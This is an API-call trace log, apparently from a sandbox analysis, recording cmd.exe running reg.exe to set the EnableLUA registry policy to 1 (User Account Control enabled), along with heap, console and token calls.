[0108.064] SetErrorMode (uMode=0x0) returned 0x0
[0108.064] SetErrorMode (uMode=0x1) returned 0x0
[0108.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\.", nBufferLength=0x208, lpBuffer=0x2c1330, lpFilePart=0x24eee0 | out: lpBuffer="C:\\Windows\\System32", lpFilePart=0x24eee0*="System32") returned 0x13
[0108.064] SetErrorMode (uMode=0x0) returned 0x1
[0108.064] GetProcessHeap () returned 0x2c0000
[0108.064] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2c1320, Size=0x48) returned 0x2c1320
[0108.064] GetProcessHeap () returned 0x2c0000
[0108.064] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2c1320) returned 0x48
[0108.064] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\System32\\.") returned 1
[0108.065] GetProcessHeap () returned 0x2c0000
[0108.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3e) returned 0x2d8c60
[0108.065] GetProcessHeap () returned 0x2c0000
[0108.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x68) returned 0x2dc1e0
[0108.065] GetProcessHeap () returned 0x2c0000
[0108.065] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2dc1e0, Size=0x3e) returned 0x2dc1e0
[0108.065] GetProcessHeap () returned 0x2c0000
[0108.065] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2dc1e0) returned 0x3e
[0108.065] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0108.065] GetProcessHeap () returned 0x2c0000
[0108.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xe8) returned 0x2dc230
[0108.070] GetProcessHeap () returned 0x2c0000
[0108.070] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2dc230, Size=0x7e) returned 0x2dc230
[0108.070] GetProcessHeap () returned 0x2c0000
[0108.070] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2dc230) returned 0x7e
[0108.072] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0108.072] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\reg.exe", fInfoLevelId=0x1, lpFindFileData=0x24ec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec50) returned 0x2dc2c0
[0108.072] GetProcessHeap () returned 0x2c0000
[0108.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x28) returned 0x2d4760
[0108.072] FindClose (in: hFindFile=0x2dc2c0 | out: hFindFile=0x2dc2c0) returned 1
[0108.072] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
[0108.072] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
[0108.072] GetConsoleTitleW (in: lpConsoleTitle=0x24f1a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0108.073] GetProcessHeap () returned 0x2c0000
[0108.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x21c) returned 0x2d9c30
[0108.074] GetConsoleTitleW (in: lpConsoleTitle=0x2d9c40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0108.074] GetProcessHeap () returned 0x2c0000
[0108.074] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9c30, Size=0x15c) returned 0x2d9c30
[0108.074] GetProcessHeap () returned 0x2c0000
[0108.074] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9c30) returned 0x15c
[0108.074] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\System32\\cmd.exe - C:\\Windows\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f") returned 1
[0108.075] GetProcessHeap () returned 0x2c0000
[0108.075] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d9c30 | out: hHeap=0x2c0000) returned 1
[0108.075] InitializeProcThreadAttributeList (in: lpAttributeList=0x24ef58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24ef18 | out: lpAttributeList=0x24ef58, lpSize=0x24ef18) returned 1
[0108.075] UpdateProcThreadAttribute (in: lpAttributeList=0x24ef58, dwFlags=0x0, Attribute=0x60001, lpValue=0x24ef08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24ef58, lpPreviousValue=0x0) returned 1
[0108.075] GetStartupInfoW (in: lpStartupInfo=0x24f070 | out: lpStartupInfo=0x24f070*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2d9c7e, hStdOutput=0x2d9c40, hStdError=0x2d9c40))
[0108.075] GetProcessHeap () returned 0x2c0000
[0108.075] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x20) returned 0x2d4790
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
[0108.075] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
[0108.076] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
[0108.076] GetProcessHeap () returned 0x2c0000
[0108.076] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d4790 | out: hHeap=0x2c0000) returned 1
[0108.076] GetProcessHeap () returned 0x2c0000
[0108.076] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2d8ad0
[0108.076] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
[0108.078] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\reg.exe", lpCommandLine="C:\\Windows\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24ef90*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24ef40 | out: lpCommandLine="C:\\Windows\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f", lpProcessInformation=0x24ef40*(hProcess=0x54, hThread=0x50, dwProcessId=0x818, dwThreadId=0x828)) returned 1
[0108.201] CloseHandle (hObject=0x50) returned 1
[0108.201] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0108.201] GetProcessHeap () returned 0x2c0000
[0108.201] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dae00 | out: hHeap=0x2c0000) returned 1
[0108.201] GetEnvironmentStringsW () returned 0x2dae00*
[0108.201] GetProcessHeap () returned 0x2c0000
[0108.201] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xae8) returned 0x2dee30
[0108.201] FreeEnvironmentStringsW (penv=0x2dae00) returned 1
[0108.201] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
[0109.156] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24ee88 | out: lpExitCode=0x24ee88*=0x0) returned 1
[0109.156] CloseHandle (hObject=0x54) returned 1
[0109.156] _vsnwprintf (in: _Buffer=0x24f0f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ee98 | out: _Buffer="00000000") returned 8
[0109.156] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
[0109.156] GetProcessHeap () returned 0x2c0000
[0109.157] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dee30 | out: hHeap=0x2c0000) returned 1
[0109.157] GetEnvironmentStringsW () returned 0x2dc2c0*
[0109.157] GetProcessHeap () returned 0x2c0000
[0109.157] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0e) returned 0x2e0440
[0109.157] FreeEnvironmentStringsW (penv=0x2dc2c0) returned 1
[0109.157] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
[0109.157] GetProcessHeap () returned 0x2c0000
[0109.157] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0440 | out: hHeap=0x2c0000) returned 1
[0109.157] GetEnvironmentStringsW () returned 0x2dc2c0*
[0109.157] GetProcessHeap () returned 0x2c0000
[0109.157] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0e) returned 0x2e0440
[0109.157] FreeEnvironmentStringsW (penv=0x2dc2c0) returned 1
[0109.157] GetProcessHeap () returned 0x2c0000
[0109.157] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d8ad0 | out: hHeap=0x2c0000) returned 1
[0109.157] DeleteProcThreadAttributeList (in: lpAttributeList=0x24ef58 | out: lpAttributeList=0x24ef58)
[0109.159] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 1
[0109.160] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.160] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0109.160] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.160] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a46e194 | out: lpMode=0x4a46e194) returned 1
[0109.160] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.161] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a46e198 | out: lpMode=0x4a46e198) returned 1
[0109.161] SetConsoleInputExeNameW () returned 0x1
[0109.161] GetConsoleOutputCP () returned 0x1b5
[0109.161] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1
[0109.161] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
[0109.162] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.162] GetFileType (hFile=0x3) returned 0x2
[0109.162] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0109.162] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x24f928 | out: lpMode=0x24f928) returned 1
[0109.162] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x24f6a0 | out: TokenHandle=0x24f6a0*=0x0) returned 0xc000007c
[0109.162] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x24f6a0 | out: TokenHandle=0x24f6a0*=0x54) returned 0x0
[0109.162] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x12, TokenInformation=0x24f6b0, TokenInformationLength=0x4, ReturnLength=0x24f6b8 | out: TokenInformation=0x24f6b0, ReturnLength=0x24f6b8) returned 0x0
[0109.162] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x1a, TokenInformation=0x24f6b8, TokenInformationLength=0x4, ReturnLength=0x24f6b0 | out: TokenInformation=0x24f6b8, ReturnLength=0x24f6b0) returned 0x0
[0109.163] NtClose (Handle=0x54) returned 0x0
[0109.163] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x24f680, nSize=0x0, Arguments=0x24f688 | out: lpBuffer="鰰-") returned 0xf
[0109.163] GetProcessHeap () returned 0x2c0000
[0109.163] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2c1380
[0109.163] GetConsoleTitleW (in: lpConsoleTitle=0x24f6d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0109.163] wcsstr (_Str="C:\\Windows\\System32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
[0109.163] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\cmd.exe") returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1380 | out: hHeap=0x2c0000) returned 1
[0109.164] LocalFree (hMem=0x2d9c30) returned 0x0
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc230 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc1e0 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d8c60 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1320 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc0c0 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dbea0 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dbdb0 | out: hHeap=0x2c0000) returned 1
[0109.164] GetProcessHeap () returned 0x2c0000
[0109.164] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dbd60 | out: hHeap=0x2c0000) returned 1
[0109.165] GetProcessHeap () returned 0x2c0000
[0109.165] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dbca0 | out: hHeap=0x2c0000) returned 1
[0109.165] GetProcessHeap () returned 0x2c0000
[0109.165] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2db8f0 | out: hHeap=0x2c0000) returned 1
[0109.165] GetProcessHeap () returned 0x2c0000
[0109.165] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dabe0 | out: hHeap=0x2c0000) returned 1
[0109.165] _vsnwprintf (in: _Buffer=0x4a486340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f3b8 | out: _Buffer="\r\n") returned 2
[0109.165] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.165] GetFileType (hFile=0x7) returned 0x2
[0109.165] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0109.165] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f348 | out: lpMode=0x24f348) returned 1
[0109.165] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.165] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a486340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f388, lpReserved=0x0 | out: lpBuffer=0x4a486340*, lpNumberOfCharsWritten=0x24f388*=0x2) returned 1
[0109.166] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
[0109.166] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0109.166] _vsnwprintf (in: _Buffer=0x4a46eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f3c8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
[0109.166] _vsnwprintf (in: _Buffer=0x4a46ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f3c8 | out: _Buffer=">") returned 1
[0109.166] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.166] GetFileType (hFile=0x7) returned 0x2
[0109.166] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0109.166] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f378 | out: lpMode=0x24f378) returned 1
[0109.167] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.167] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a46eb60*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x24f3b8, lpReserved=0x0 | out: lpBuffer=0x4a46eb60*, lpNumberOfCharsWritten=0x24f3b8*=0x26) returned 1
[0109.167] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.167] GetFileType (hFile=0x3) returned 0x2
[0109.167] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.167] GetFileType (hFile=0x3) returned 0x2
[0109.168] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0109.168] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x24f698 | out: lpMode=0x24f698) returned 1
[0109.168] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.168] GetFileType (hFile=0x3) returned 0x2
[0109.168] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0109.168] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x24f698 | out: lpMode=0x24f698) returned 1
[0109.169] _get_osfhandle (_FileHandle=0) returned 0x3
[0109.169] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0109.169] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x24f630 | out: lpConsoleScreenBufferInfo=0x24f630) returned 1
[0109.169] ReadConsoleW (hConsoleInput=0x3, lpBuffer=0x4a47e320, nNumberOfCharsToRead=0x2000, lpNumberOfCharsRead=0x24f6b0, pInputControl=0x24f620)
Process:
id = "3"
image_name = "reg.exe"
filename = "c:\\windows\\system32\\reg.exe"
page_root = "0x78cfb000"
os_pid = "0x818"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "2"
os_parent_pid = "0x798"
cmd_line = "C:\\Windows\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 12
os_tid = 0x828
[0109.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fd10 | out: lpSystemTimeAsFileTime=0x14fd10*(dwLowDateTime=0x1db3f020, dwHighDateTime=0x1d6a96f))
[0109.103] GetCurrentProcessId () returned 0x818
[0109.103] GetCurrentThreadId () returned 0x828
[0109.103] GetTickCount () returned 0x114eccf
[0109.103] QueryPerformanceCounter (in: lpPerformanceCount=0x14fd18 | out: lpPerformanceCount=0x14fd18*=22823879201) returned 1
[0109.105] GetModuleHandleW (lpModuleName=0x0) returned 0xff870000
[0109.105] __set_app_type (_Type=0x1)
[0109.105] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff8800d0) returned 0x0
[0109.106] __wgetmainargs (in: _Argc=0xff882140, _Argv=0xff882150, _Env=0xff882148, _DoWildCard=0, _StartInfo=0xff88215c | out: _Argc=0xff882140, _Argv=0xff882150, _Env=0xff882148) returned 0
[0109.106] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
[0109.108] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
[0109.108] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x14fce8 | out: phkResult=0x14fce8*=0x0) returned 0x2
[0109.109] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
[0109.109] lstrlenW (lpString="-?|/?|-h|/h") returned 11
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb630
[0109.109] lstrlenW (lpString="") returned 0
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x2) returned 0x1bb650
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5a10
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb670
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5a40
[0109.109] GetProcessHeap () returned 0x1a0000
[0109.109] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5a70
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5aa0
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5ad0
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb690
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5b00
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5b30
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5b60
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5b90
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb6b0
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5bc0
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5bf0
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5c20
[0109.110] GetProcessHeap () returned 0x1a0000
[0109.110] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5c50
[0109.110] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
[0109.111] GetProcessHeap () returned 0x1a0000
[0109.111] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb6d0
[0109.111] _memicmp (_Buf1=0x1bb6d0, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.111] GetProcessHeap () returned 0x1a0000
[0109.111] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x1e) returned 0x1b5c80
[0109.111] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.111] GetProcessHeap () returned 0x1a0000
[0109.111] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb6f0
[0109.111] _memicmp (_Buf1=0x1bb6f0, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.111] GetProcessHeap () returned 0x1a0000
[0109.111] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x84) returned 0x1bb870
[0109.111] _vsnwprintf (in: _Buffer=0x1b5c80, _BufferCount=0xe, _Format="|%s|", _ArgList=0x14fae8 | out: _Buffer="|-?|/?|-h|/h|") returned 13
